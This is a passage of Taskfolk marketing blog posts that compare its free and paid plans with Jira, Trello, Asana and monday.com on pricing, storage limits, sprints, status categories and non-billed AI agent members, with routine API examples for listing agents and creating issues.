opposite on purpose. On Free, the features are on and the capacity is the ceiling. Concretely, Taskfolk Free ships sprints, the timeline (Gantt), reporting, integrations, and AI all working. Nothing in that list is switched off waiting for a credit card. What is capped is how much you can pour into it: 128 MB of total storage, 1 MB per uploaded file, 5 active projects, and a recurring grant of 25 AI credits per month. That is the trade. You get the whole tool at a small scale, rather than a slice of the tool at a large one. ![Taskfolk plan grid on the billing page showing Free, Pro, and Business tiers](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) The paid steps are deliberately cheap by the standards of the table above. Pro is $3 per editor seat per month billed annually ($30 a year), and Business is $6 per editor seat per month billed annually ($60 a year). Those are editor seats. Viewers are always free and never counted, so a team of 4 editors and 20 stakeholders who only read pays for 4. That seat model matters most for client work, which is why [project management for small agencies](/blog/project-management-for-small-agencies) treats it as the deciding factor. And every new user's first workspace starts with a 14-day Pro reverse trial, granted once per user, so you experience the paid ceiling before you decide. Note the wording: that trial is on your first workspace, not on every workspace you create later. The mechanics of upgrading, downgrading, and what happens when the trial lapses are covered in [how to manage billing and plans](/docs/how-to-manage-billing-and-plans). ## What a small team can actually run on Taskfolk Free Picture a 4-to-6-person product team. On Taskfolk Free they can run 5 active projects at once, each with full sprint ceremonies: a backlog, sprint planning, a running sprint, a burndown. None of that is paywalled. ![Taskfolk sprints page showing an active sprint with issues and a burndown](/images/blog/how-to-run-a-sprint-sprints-page.webp) Alongside the sprints, the same free plan gives you a dependency-aware Gantt for the roadmap and real reports on throughput and status. It is the same feature set a paying customer gets, just bounded by the 128 MB and 5-project caps rather than switched off. ![Taskfolk reports grid showing throughput, status, and velocity charts for a project](/images/blog/project-reports-and-insights-reports-grid.webp) Hold that against the table. Trello Free has no timeline view at all. Asana Personal has no Gantt and no dashboards. ClickUp gates the full Gantt. So the specific combination of a free sprint board plus a free dependency Gantt plus free reports is not something you can assemble on three of the five alternatives at any user count. This is the shot that shows it is the shipped product and not a mock: ![Taskfolk Gantt chart showing task bars with dependency arrows between them](/images/blog/gantt-chart-with-dependencies-gantt-overview.webp) One more free-tier fact that a small team feels day to day. Auth is magic-link only, so there are no passwords for anyone to manage, forget, or leak; you request a link, click it, you are in. If you are running a small team and would rather spend your energy on the work than on seat math and password resets, that is the point. ## The honest limits of Taskfolk Free Now the part the pricing page glosses and this post will not. Taskfolk Free has real weaknesses, and if any of these match your workload you should know before you commit. **128 MB of total storage is genuinely small.** Jira Free gives you 2 GB, roughly sixteen times as much. Trello and Asana advertise unlimited storage (with per-file caps). So if your team traffics in design files, PDFs, or screenshots by the hundred, 128 MB is a real constraint that you will hit, not a theoretical one. **1 MB per file is the tightest per-file cap in the comparison.** Trello allows 10 MB per file, Notion 5 MB, Asana 100 MB. Taskfolk Free caps a single upload at 1 MB. That is fine for a screenshot or a small doc and painful for anything richer. Attachment-heavy teams will feel this immediately, and it is the first limit I would flag for a design-adjacent team. (Paid plans lift the per-file ceiling; Free does not.) **Automation is a paid feature on Taskfolk, full stop.** This is worth stating plainly because it is a place where two rivals are more generous on free: Trello includes 250 command runs a month and Jira includes 100 rule runs a month, both metered but real. Taskfolk Free includes zero. Sprints, the Gantt, integrations, reporting, and AI work on Free; automation rules do not. Do not read "features on" as "everything on." **25 AI credits a month is a taste, not a working allowance.** It is enough to try the AI features and understand them, not enough to lean on them daily. The larger 100-credit grant exists only during the one-time 14-day Pro trial, so it is a first-run experience, not a standing free budget. ![Taskfolk AI credits card on the billing page showing the monthly grant and usage](/images/blog/how-to-manage-billing-and-plans-credits-card.webp) **A few structural caps bound what a Free workspace can hold.** Imports run at up to 1,000 rows per service-import run on Free (Pro raises this to 10,000). Custom roles beyond the basic four, SSO/SAML/SCIM, and the audit log are paid-plan features. And you cannot game the free tier by minting workspaces: one user may own at most 3 live unpaid workspaces, and paid workspaces plus memberships in other people's workspaces do not count toward that. So Free capacity is Free capacity; you cannot multiply it three times over and call it a plan. **And the honest meta-point: Taskfolk is a young product.** Trello has a deep Power-Ups marketplace and Jira has a large app ecosystem built over more than a decade. Taskfolk does not have that ecosystem breadth yet, and pretending otherwise would be the exact kind of pricing-page fiction this post is arguing against. If your workflow depends on a specific third-party integration that only exists as a Jira app or a Trello Power-Up, that is a real reason to stay where you are. ## AI agents are free members on every plan Here is the one place Taskfolk Free is not just competitive but clearly ahead. Connected AI agents (Claude Code and other coding agents) are treated as real workspace members: each gets a profile, per-agent field-write permissions so you control exactly which issue fields it may touch, sessions with review states, and a read-time verification badge on its work. And they are never counted as billed seats, on any plan, including Free. The seat count filters agent members out entirely, so an agent that opens issues, moves cards, and comments costs you nothing in seats. On top of that, the first-party MCP server exposes over 180 v1 operations, and it is available with an API key on any plan, Free included. The agents endpoint is read-only by design: you list a workspace's connected agents over the API, but you connect one from the dashboard (Bots page, Connect a bot), because minting an agent also mints an attributed API key and that is a human-approved act, not an API call. Listing the connected agents looks like this: ```bash curl https://taskfolk.ai/api/v1/workspaces/acme/agents \ -H "Authorization: Bearer tfk_live_XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agents", { headers: { Authorization: "Bearer tfk_live_XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx" } }, ); const { data } = await res.json(); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/agents", headers={"Authorization": "Bearer tfk_live_XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx"}, ) data = res.json()["data"] ``` The response lists each connected agent with its live session count and last activity: ```json { "data": [ { "agent_id": "018f9c21-7a3e-7b2a-9c10-2e4d6f8a1b33", "name": "Claude Code", "kind": "claude_code", "owner_user_id": "018f9b04-1c2d-7e5f-8a90-11223344aabb", "running_sessions": 1, "last_activity_at": "2026-07-16T09:42:11.000Z", "created_at": "2026-07-02T14:08:55.000Z" } ] } ``` That is the agent hub with a live connection, the same thing the API is reporting: ![Taskfolk agents hub showing a connected AI agent with an active session](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) If the "do agents eat seats" question is the one you actually care about, there is a dedicated answer in [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). ## How to choose your free plan (and when to pay) No single free plan wins for everyone, so match the plan to the shape of your team. **Stay on Jira Free** if you are under 10 users and already living inside Atlassian. It is the most feature-complete free incumbent tier here (10 users, 2 GB, real planning views including a timeline), and if your team is in Confluence and Bitbucket already, the integration gravity is real. Just watch the 100-runs-a-month automation meter. **Pick Trello Free** if boards are genuinely all you need. Ten boards, 10 collaborators, unlimited cards, and 250 automation runs a month is a lot of Kanban for nothing. The moment you need a timeline, though, you are paying, because that view is not on the free plan. **Use Notion Free** only if one person owns the workspace. Solo, the unlimited-blocks tier is excellent. Add a second workspace owner and the 1,000-block ceiling turns it into a trial. For a real multi-person team, budget for the upgrade from the start. And if you are working alone, [project management for solo founders](/blog/project-management-for-small-agencies) covers what a one-person setup actually needs. **Choose Taskfolk Free** if you want sprint, Gantt, and report features working on day one, your attachments are light (remember the 1 MB per file and 128 MB total), and you like that connected AI agents cost nothing in seats. Five active projects and the full feature set is a lot of tool for a small team that does not need to store much. If you are weighing it against a board-only tool, [Taskfolk versus Trello](/vs/trello) walks the same trade in detail. On when the first paid dollar makes sense: the prices, as of July 2026, are genuinely far apart. Taskfolk's first step is $3 per editor seat, against Asana's $10.99 Starter seat and Jira's $7.91 Standard seat. So if you are going to pay eventually, the cost of eventually is very different depending on where you start. For a small team, the pragmatic move is to run Free until a specific wall stops you (a sixth project, a file bigger than 1 MB, a need for automation) and then pay for exactly that. Getting started is quick: your first workspace ships with the 14-day Pro trial so you can feel the full ceiling, and if you are migrating, imports run up to 1,000 rows per run on Free. Walk through the first steps in [how to create your first workspace](/docs/how-to-create-your-first-workspace). If a feature-complete free plan with a free Gantt and free AI agents fits your team, [try Taskfolk's free plan](/) and see how far 5 projects gets you. --- # Monday.com alternatives built for software teams URL: https://taskfolk.ai/blog/monday-alternatives-for-software-teams Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, issue tracking, project management, pricing, AI agents, MCP, sprints, comparison, agile Monday.com alternatives for software teams: the 3-seat minimum against $3/$6 per builder seat, sprints with carryover, and agents as free members. Your team lives in a monday.com board that started life as a marketing calendar, and every sprint you fight the same handful of things. A "status" column any teammate can rename into chaos. Subitems that don't behave like real subtasks. A 3-seat minimum that charges you for a bot account you wired up to sync GitHub. If you have been searching for monday.com alternatives, or specifically a monday.com alternative for software teams, that friction is usually why. monday.com is a genuinely good work-OS. It is just not an issue tracker, and once you are shipping software that gap gets expensive. I want to be fair to monday.com, because the internet is full of hit pieces and this is not one. Millions of teams run their whole company on it and are happy. The question here is narrower: if you are an engineering team, what does a purpose-built tracker give you that a flexible work-OS does not, and when is the switch actually worth it? I will show you real pricing (as of July 2026), the semantics that matter, and where monday.com still wins. ## Why monday.com starts to hurt once you're shipping software monday.com is horizontally flexible by design. Everything is a board, a board has columns, columns have types (status, people, date, number, dropdown), and you arrange them however your team thinks. That flexibility is exactly why ops, marketing, sales, and CS love it. You can model a content calendar, a hiring pipeline, and a CRM in the same tool, and none of them are wrong. Engineering wants the opposite of flexible. It wants fixed semantics that everyone agrees on and that the reporting can trust. That is where the two philosophies rub: - **"Status" is a configurable column, not a backbone.** In monday.com, a status column is per-board and anyone with edit rights can add, rename, or recolor its labels. Great for a campaign board. A problem for a tracker, because nothing enforces that "Done" means resolved. When a teammate renames "Done" to "Shipped v2" on one board and adds a "Blocked" that nobody maps to anything, your cross-board reporting quietly drifts. There is no category underneath the label driving whether an issue is open or closed. - **Subitems exist, but they are not a first-class parent/child issue model.** monday.com has subitems, and they are useful. What they are not is a real containment model where a subtask is the same kind of object as its parent, with rules about what can nest inside what. An eng team feels this the moment they want an epic that rolls up stories that roll up subtasks, with the same fields and the same status semantics at every level. - **The dev workflow lives in a separate product or a template.** Sprints, story points, and a dev-shaped board are things monday.com approximates through its Dev product and workflow templates. They exist. They are configuration layered on a general OS, not the default shape you get on day one. None of this means monday.com is bad. It means you are using a horizontally-flexible tool to do a vertically-specific job, and the friction you feel is the seam between those two. ## What software teams actually need from a tracker (the checklist) Instead of listing features, here is a rubric. Score any tool (including the one you are on now) against these six. Miss three or more and you are fighting your tracker. ![Story with subtasks showing the parent/child rollup an eng team needs](/images/blog/how-to-organize-work-with-epics-and-subtasks-story-with-subtasks.webp) 1. **A fixed issue-type vocabulary.** Epic, story, task, bug, subtask, defined once and the same in every project. Not ad-hoc groups that mean different things per board. 2. **True subtasks with containment rules.** A parent/child relationship at the data level (one issue points at its parent), with rules enforced at creation: a subtask must have a parent, an epic cannot sit under another epic. 3. **A category-backed status system.** The load-bearing one. You want the freedom to name and color your columns per project, but underneath, every column must map to a fixed *category* that the reporting reads. This is Jira's status vs status-category split, and it is what keeps velocity honest when someone renames a column. 4. **Sprints with carryover.** When a sprint ends, the incomplete work has to go somewhere sensible (the next sprint or back to the backlog), not strand on a closed sprint or silently mark itself done. 5. **A dev-grade REST API and an MCP that mirror each other.** If your API and your AI-agent surface drift apart, you will find out at the worst time. They should be generated from one source. 6. **Pricing where non-editors and bots don't burn paid seats.** Viewers should be free. The bot you wired up to sync commits should not cost the same as a senior engineer. That is the rubric. The rest of this post is monday.com and Taskfolk scored against it, starting with the one that hits your card statement. ## The honest pricing comparison: seat minimums and what a bot costs This is the differentiator most searches are really about, so let me put the numbers on the table plainly. All figures are as of July 2026, and I am using each vendor's own published pricing. The condensed head-to-head lives at [Taskfolk vs Monday](/vs/monday). monday.com's Work Management plans, billed annually, run Basic at $9, Standard at $12, and Pro at $19 per seat per month, with Enterprise custom. The pricing page shows the same figures in euros (9 / 12 / 19 EUR). Month-to-month is higher: $12 / $14 / $24 per seat. There is a Free plan, but it is capped at 2 seats and 3 boards with no automations, integrations, or timeline view. The detail that catches software teams is the **3-seat minimum on paid plans**. Even if a single person wants Pro, they buy three seats. So the real annual-billed floor is not $9, it is $27/month for Basic, $36/month for Standard, and $57/month for Pro. That minimum was designed for teams, and for a ten-person team it is a non-issue. For a two-founder startup with a GitHub sync bot, you are paying for a seat nobody sits in. Taskfolk prices per builder seat with no such floor in the config. Free is $0. Pro is $3/seat/month ($30/year). Business is $6/seat/month ($60/year). Viewers are free and never counted. And the piece that matters most for an agent-heavy 2026 workflow: **agent members are free and excluded from the billed-seat count** sent to Stripe. There is no seat minimum in the configuration, though a paid subscription bills at least one seat, so the honest framing is "pay for exactly the editor seats you use, viewers and agents free." Side by side: | | monday.com (as of July 2026) | Taskfolk (as of July 2026) | |---|---|---| | Entry paid tier (annual) | Basic $9/seat/mo | Pro $3/seat/mo ($30/yr) | | Mid tier (annual) | Standard $12/seat/mo | Business $6/seat/mo ($60/yr) | | Upper tier (annual) | Pro $19/seat/mo | Business $6/seat/mo | | Enterprise | Custom | Not a separate SKU | | Month-to-month | $12 / $14 / $24 per seat | Same per-seat price, no annual lock quoted | | Seat minimum | 3 seats on all paid plans | None in config (a paid sub bills at least 1 seat) | | Real paid floor | $27 / $36 / $57 per month | Price of the seats you actually use | | Viewers | Count as seats | Free, uncounted | | Bot / AI agent account | Can occupy a paid seat | Free member, excluded from billed seats | | Free plan ceiling | 2 seats, 3 boards, no automations/integrations/timeline | 128 MB, 5 projects, core tracker features | Sit with the bot line. In monday.com, an integration or automation account is still an account, and depending on how you wire it, it can occupy a paid seat. In Taskfolk, the same agent is a workspace member with `is_agent=1`, and the seat-counting query explicitly filters those out, precisely so a connected agent never bills a full editor seat. Run three coding agents against your board and that is three seats you are not paying for. ## Status columns vs a category-backed status system I called this load-bearing earlier, so let me show it. The difference is subtle on a screenshot and obvious after a month of reporting. In monday.com, a status is a column you configure per board. You add labels, pick colors, drag them into order. Powerful, and genuinely nicer to customize than a lot of trackers. The catch is that the label is the whole story. Nothing sits underneath "Done" telling the system this label means resolved, so when boards diverge (and they will, because different teams own different boards), a roll-up across them has to guess. Your burndown is only as honest as everyone's label discipline. Taskfolk splits the two, following the Jira model (the STATUS-CUSTOM-01 design in the codebase). An issue's `status` is a fixed 7-value **category** enum: backlog, todo, in_progress, in_review, done, failed, cancelled. That category is the semantic backbone, and it drives whether an issue is open, when it resolved, and everything the reports read. Separately, a `project_statuses` table holds your per-project named, colored, ordered **columns**, and each column maps to exactly one category via the issue's `status_id`. ![The board statuses tab where each named column maps to a fixed category](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) So you get both halves. Name your columns "Triage", "Building", "In review", "Shipped" and color them however you like, reorder them, add a "Blocked" column. The visual freedom is there. But because every one of those columns is pinned to a category, renaming "Shipped" tomorrow does not touch what your velocity chart counts as done. The reporting reads the category, not the label. That is the guarantee a work-OS status column cannot give you, because it has no category layer to read. ## Sprints, carryover, and epics without bolting on a second product The agile loop is the other place the two tools diverge in shape rather than capability. monday.com can build sprint workflows through its Dev product and templates, and teams do run real sprints on it. The honest distinction is that this is configuration on a general OS, whereas in a purpose-built tracker it is the native shape. In Taskfolk, the types are fixed out of the box: epic, story, task, bug, subtask, defined in the schema as an enum on every issue. Subtasks are true parent/child through a `parent_id` on the issue, with containment enforced at creation time. A subtask must have a parent. An epic cannot have a parent epic. You cannot accidentally create the nonsensical structures a free-form grouping model allows. ![The sprints page where incomplete work carries over rather than stranding](/images/blog/how-to-run-a-sprint-sprints-page.webp) Sprints handle the messy part of the loop, which is what happens to unfinished work. When you complete a sprint, Taskfolk's `completeSprint` action moves incomplete (non-done) issues to a target sprint you choose or back to the backlog. The UI literally asks "Move incomplete issues to". Failed issues carry over instead of getting stranded on the closed sprint. This is the default behavior, not a template you assemble. Again, monday.com can be *made* to do this. The difference is whether you configure it or it ships that way. ## A dev-grade API and MCP that stay in lockstep I have to be careful here, because it is easy to overclaim and I would rather you trust the comparison. monday.com is **not** MCP-less. It ships a first-party, hosted MCP server ("monday MCP"), preinstalled on all accounts at no extra cost, using OAuth and TLS and respecting workspace permissions. It connects to Claude, Cursor, and Copilot Studio, and it is open-source, maintained by monday.com at github.com/mondaycom/mcp. It also allocates its own monthly AI credits by plan (Basic 1,000, Standard 2,000, Pro 3,000). So please do not read anywhere in this post that Taskfolk uniquely "has an MCP server." That would be false. The real edge is narrower and more specific. In Taskfolk, the over 180 v1 REST operations and the MCP tools are **both generated from the same OpenAPI registry** (`buildOpenApiDocument`). One surface, one source of truth, so REST and MCP cannot drift apart. When an endpoint changes, the agent tool changes with it, because they are the same definition. The other concrete difference is rate limits: Taskfolk's default is **600 requests per minute** per key, with `X-RateLimit-Limit`, `X-RateLimit-Remaining`, and `X-RateLimit-Reset` headers on every response and a `rate_limited` 429 envelope when you exceed it. monday.com's API caps are metered **per day** by plan (Standard 1,000/day, Pro 10,000/day, Enterprise 25,000/day). Per-minute versus per-day is a real difference when an agent is working a board in a tight loop. Creating an issue is a single POST to `/v1/workspaces/{slug}/projects/{key}/issues`. The same call, three ways: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Login button unresponsive on Safari", "description_md": "Repro: click **Sign in** on iOS Safari, nothing fires.", "priority": "high", "assignee": "dana@example.com", "labels": ["frontend", "safari"] }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Login button unresponsive on Safari", description_md: "Repro: click **Sign in** on iOS Safari, nothing fires.", priority: "high", assignee: "dana@example.com", labels: ["frontend", "safari"], }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "bug", "title": "Login button unresponsive on Safari", "description_md": "Repro: click **Sign in** on iOS Safari, nothing fires.", "priority": "high", "assignee": "dana@example.com", "labels": ["frontend", "safari"], }, ) issue = res.json() ``` The response comes back with the resolved key and the full issue resource, including the `status` category and the specific `status_id`: ```json { "id": "018f2c...", "key": "WEB-142", "url": "https://taskfolk.ai/w/taskfolk/p/web/WEB-142", "number": 142, "type": "bug", "title": "Login button unresponsive on Safari", "status": "backlog", "status_id": "018f1a...", "status_name": "Triage", "priority": "high", "assignee_id": "018e90...", "assignees": ["018e90..."], "labels": [ { "id": "lbl_1", "name": "frontend", "color": "#4f9cf9" }, { "id": "lbl_2", "name": "safari", "color": "#ffd60a" } ], "created_at": "2026-07-16T10:22:41.000Z", "updated_at": "2026-07-16T10:22:41.000Z" } ``` Notice `status` and `status_name` come back as separate fields. The category ("backlog") is what your reporting will read; the column name ("Triage") is what the human sees on the board. That split is the same one from two sections ago, surfacing in the API. ![The agent sessions list where connected agents drive the board and report their work](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) ## What changes when your agents are members, not integrations This is the part that feels different in day-to-day use, and I want to frame it honestly. The pitch is not "monday.com can't connect AI," because it can, through its MCP and its own credits. The pitch is that in Taskfolk an agent does not consume a paid seat and comes with real review gates. An agent in Taskfolk *is* a workspace member. Concretely, it is a user plus a `workspace_members` row with `is_agent=1` plus a `workspace_agents` profile, not a bolt-on integration credential. Because it is a member, it shows up in your roster, gets assigned issues, and gets @mentioned like anyone else. Because it is flagged as an agent, it is free and excluded from the Stripe seat count. ![The agent hub roster where agents are members, not integrations](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) The guardrails are what make that trustworthy rather than scary: - **Per-agent field-write allowlist (FIELD-POLICY-01).** Each agent can be restricted to writing only specific issue fields, and it is enforced at a single choke point (`updateIssueViaApi`) that covers REST, transitions, and MCP alike, plus the time endpoint. You decide an agent may move status and add comments but never reassign or change priority, and that holds no matter which surface it comes through. - **Human-review session states.** Agent work runs as a session with a real state machine: pending, running, needs_input, review, done, failed, cancelled. A read-time "unverified" badge (VERIFY-01) flags any review or done session that has no attributed activity, so an agent cannot quietly mark its own work complete without a trace. - **Delegation that creates a claim.** Assigning an issue to an agent auto-creates a pending session the agent must claim (DELEGATE-01); a worker cancels it after 7 days if nobody picks it up, so stale delegations don't rot. - **Real-time push.** A per-agent SSE stream (AGENT-PUSH-01) fires on assignment, @mention, and session change, so an agent wakes on the event instead of polling. The named providers wired into the hub are Claude Code, Codex, Cursor, Copilot, Gemini CLI, DeepSeek, Kimi, Perplexity, and a custom option. If your 2026 workflow has coding agents doing real work on the board, having them be free members with field-level permissions and review gates is a meaningfully different posture than treating them as integration accounts. ## When to stay on monday.com (and how to move if you don't) I would be doing you a disservice by only listing reasons to switch. When monday.com is the right call, plainly: - **You are a cross-functional org.** If marketing, ops, sales, and CS share boards with engineering, a work-OS that models all of those in one place is worth more than tracker purity. Taskfolk is built for the eng side of that house. - **You need a large app marketplace.** monday.com has a deep marketplace of integrations. Taskfolk's shipped repo integration is GitHub, and that is it on the repo side. If you depend on dozens of app connectors, monday.com wins on ecosystem, full stop. - **You want dashboards across non-eng workflows.** Cross-department reporting and views over things that are not issues are monday.com's home turf. - **You are already standardized on monday.com Dev plus apps.** Rip-and-replace has a cost; if the current setup works, "purpose-built tracker" may not clear the bar. And the honest limits on Taskfolk's side, so you go in clear-eyed. It is smaller and newer. Storage is modest (Free 128 MB with 5 projects, Pro 1 GB, Business 100 GB). AI is credit-gated (Free 25/month, Pro 5,000/month, Business 20,000/month), which is a different currency than monday.com's AI credits and not a clean apples-to-apples comparison. There is no marketplace of hundreds of apps. The pitch is focus, price, and an agent-native tracker, not feature-count parity. If you decide to move, the path is short. You keep your issues and import them via CSV or a service import (row caps vary by plan). Auth is magic-link only, so there are no passwords to migrate or reset. A simple way to decide: ```mermaid flowchart TD A[Choosing a tracker] --> B{Mostly an engineering team?} B -->|No, cross-functional org| M[Stay on monday.com] B -->|Yes| C{Do bots or viewers need access?} C -->|Yes, and cost matters| D{Want fixed tracker semantics: epics, category status, sprints?} C -->|No| E{Need a big app marketplace?} E -->|Yes| M E -->|No| D D -->|Yes| U[Taskfolk fits] D -->|No| M ``` If you landed on the Taskfolk side of that flow, the honest next step is to put a real project in it for a week and see whether the semantics and the seat math hold up for your team. That is the only test that counts. For the fuller pricing math against other tools, see [Jira alternatives and price per seat](/blog/jira-alternatives-price-per-seat) and, if your team also finds ClickUp heavy, [simpler ClickUp alternatives with agents](/blog/clickup-alternatives-simpler-with-agents). The ranked roundup of [Monday alternatives](/alternatives/monday) puts the whole field on one page. To go deeper on the concepts here, read [how to organize work with epics and subtasks](/docs/how-to-organize-work-with-epics-and-subtasks), [why Taskfolk has an MCP server](/blog/why-taskfolk-has-an-mcp-server), and [whether AI agents count as seats](/blog/do-ai-agents-count-as-seats). --- # A Trello alternative for when a board stops being enough URL: https://taskfolk.ai/blog/trello-alternative-when-you-outgrow-boards Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, kanban, sprints, backlog, agile, comparison, migration, integrations A Trello alternative for when a board stops being enough: honest pricing as of July 2026, and how to keep the board while adding sprints, a backlog and reports. You picked Trello because a board should not need a manual. Cards, lists, drag, done. Then the work grew up around it. Someone asks where the sprint is and there is no sprint, just a list called "This week" that never empties. You want to see what ships by Friday and the Timeline view is behind a paywall. A teammate asks for velocity and the honest answer is a screenshot and a guess. None of that means Trello is bad. It means you have outgrown the part of it that is free, and the planning depth you now need was never really its job. So this is a practical look for anyone searching for a Trello alternative: what actually breaks when a board stops being enough, an honest Trello vs Taskfolk comparison with current pricing, and how to keep the board's calm while gaining sprints, a ranked backlog, and real reports. Prices and limits below are stated as of July 2026, checked against Trello's official pricing page. ## The moment a Trello board stops being enough A Trello board is one of the best status pictures in software. Anyone can look at it and know what is where. Drag a card, the state changes, everyone sees it. That clarity is why so many teams start there and stay for years. The trouble starts when "what is where" stops being the only question. The board is great at status and weak at planning, and those are different jobs. Planning asks: what are we committing to for the next two weeks, in what order, and did we actually finish it? A board does not answer that on its own. Look at how teams fake it. There is no sprint object in Trello, so people build a list called "Sprint 14" or "This week" and drag cards into it. It looks like a sprint. It has no start date, no end date, no notion of "these three cards did not get done, carry them forward." When the two weeks are up you manually shuffle the leftovers to the next list and hope you did not drop one. There is no burndown because there is nothing counting down. As of July 2026, this is not a bug in Trello. It is a board tool being asked to be a planning tool. Reporting is the next wall. The moment someone senior asks "how much did the team actually ship last month" or "are we speeding up or slowing down," a plain board has no answer to give. And the views that would help are gated. As of July 2026, Trello's Calendar, Timeline, Table, Dashboard, and Map views are exclusive to Premium or higher, per Trello's pricing page. On Free and Standard you get the board and not much else to see the same work a different way. Then there are the Free ceilings. As of July 2026, Trello Free is capped at up to 10 boards per Workspace, up to 10 collaborators per Workspace, and a 10MB per-file attachment limit, with 250 Workspace command runs (Butler automation) per month. For a solo board or a tiny team those numbers are generous. For a team that has grown into multiple projects and wants a real forecast, they start to pinch. ![Kanban board overview showing columns and cards](/images/blog/how-to-use-a-kanban-board-overview.webp) So here is the real question a lot of people are typing into a search box: how do I keep the board I like and add the depth I now need, without moving my whole team to something as heavy as Jira? That is a fair ask, and it has a clean answer. If you want to sharpen the board itself first, [how to use a kanban board](/docs/how-to-use-a-kanban-board) is a good primer, and [the honest guide to free project management software](/blog/free-project-management-software-honest-guide) covers the trade-offs of every free tier, Trello's included. ## What to look for in a Trello alternative Before comparing any two products, it helps to know what "depth" actually means in practice. Here is the checklist I would use, whether you land on Taskfolk or something else. Each item is here because it is exactly the thing a board alone stops giving you. **Keep the board.** Drag-and-drop, columns you control, and a WIP limit per column. If a tool makes you give up the board to get planning, it has traded away the thing that made Trello pleasant in the first place. You want both, not a swap. **A real ranked backlog, as its own view.** Not another list on the board that you scroll. A backlog is a single ordered priority queue: the next thing to pull is at the top, full stop. If your "backlog" is a column, ordering breaks the moment it gets long, because a column is for status, not for rank. **Sprints as first-class objects.** A sprint should have a start and an end, hold a set of issues, and know what to do with the ones that did not get finished. Carryover is the tell. If completing a sprint cannot move the leftovers forward for you, you are back to manual dragging. **Reports built in, not bolted on.** Velocity, burndown, cumulative flow, throughput, workload. These should ship with the tool and read from the same data your board already has. A reporting add-on you have to configure is a sign the tool was not built to forecast. **Views you can afford.** Timeline and the rest should be available at the tier you are actually going to pay for, not dangled two plans up. Paywalling the forecast is a common pattern, and it is worth knowing before you commit. ![Board statuses tab showing custom columns and categories](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) **An import path.** You should not retype a single card. A first-class importer for your current tool is the difference between switching this afternoon and never switching at all. **An agent or API story, if you run coding agents.** More teams have AI agents opening and updating tickets now. If that is you, the tool needs a real API and ideally an MCP surface, and it should not bill those agents as paid seats. If it is not you, skip this line entirely and do not pay for it. That is the whole list. Everything below is Taskfolk measured against it, honestly, with the places it loses called out. ## The honest Trello vs Taskfolk comparison (pricing and limits) Here is the side-by-side. Every Trello number is from Trello's pricing page and every figure on both sides is stated as of July 2026. Taskfolk's numbers come from its plan config, which is the single source of truth for its limits and prices. The condensed head-to-head is at [Taskfolk vs Trello](/vs/trello). | | Trello Free | Trello Standard | Trello Premium | Trello Enterprise | Taskfolk Free | Taskfolk Pro | Taskfolk Business | |---|---|---|---|---|---|---|---| | Price (as of July 2026) | $0 | $5/user/mo annual ($6 monthly) | $10/user/mo annual ($12.50 monthly) | $17.50/user/mo annual | $0 | $3/mo ($30/yr) | $6/mo ($60/yr) | | Billed per | n/a | user | user | user | builder seat | builder seat | builder seat | | Boards / projects | Up to 10 boards | Unlimited | Unlimited | Unlimited | 5 active projects | Unlimited | Unlimited | | Collaborators / seats | Up to 10 collaborators | Paid per user | Paid per user | Paid per user | Viewers + agents free, builders billed | same | same | | Storage | Unlimited | Unlimited | Unlimited | Unlimited | 128 MB workspace | 1 GB | 100 GB (+ add-ons) | | Per-file upload | 10 MB | 250 MB | 250 MB | 250 MB | 1 MB | no per-plan ceiling | no per-plan ceiling | | Automation runs | 250/mo | 1,000/mo | Unlimited | Unlimited | 2 automation rules | 20 rules | Unlimited | | Calendar / Timeline / Table / Dashboard / Map | Not included | Not included | Included | Included | Reporting + Timeline in base | same | same | | Sprints | No native sprint object | No native sprint object | No native sprint object | No native sprint object | First-class, in base | in base | in base | | Built-in reports | No | No | Dashboard view | Dashboard view | 9 report types, in base | in base | in base | The shape of the difference is easy to read. Trello sells depth by moving you up the ladder: unlimited boards on Standard, the five extra views on Premium, and per-seat pricing at every paid tier. Taskfolk puts the planning depth (sprints, timeline, reporting, integrations, AI) in the base feature set on every plan, and charges by capacity instead: how many projects, how much storage, how many automations. On Free, capacity is the only ceiling. The paid-only features are the operational ones, automation headroom and roles and SSO and audit, not the planning ones. Now the honest part, stated plainly because it matters. Taskfolk Free's 128 MB workspace storage and 1 MB per-file cap are much smaller than Trello Free's unlimited storage and 10MB per file. If your team pins big design files, videos, or PDFs to cards, Trello Free is genuinely the better home for that, and Taskfolk Free is not. That 128 MB is a real trade you make in exchange for the deeper planning being free. And the people models differ: Trello counts up to 10 free collaborators per Workspace, while Taskfolk bills builders on paid plans but keeps viewers and agents free. Neither is "more generous" in the abstract. It depends on whether your team is mostly editors or mostly watchers, and whether you run agents. ## Keep the board, gain the columns Trello does not give you If you love the Trello board, the first thing to know is that Taskfolk keeps the board at the center. It is still drag-and-drop, still columns, still a card moving from left to right as work progresses. You are not being asked to trade the board away for a Gantt chart. Under the hood the columns are custom per-project statuses, seeded with seven defaults when you create a project: Backlog, To Do, In Progress, In Review, Done, Failed, and Cancelled. Each column maps to a status category, and that category is what drives whether an issue counts as open and how it shows up in reports. So the board is not just visual sugar on top of a single status field. Moving a card actually changes the thing your reports read from. You can add, rename, recolour, recategorise, and reorder columns from the column kebab menu, or just grab a column header 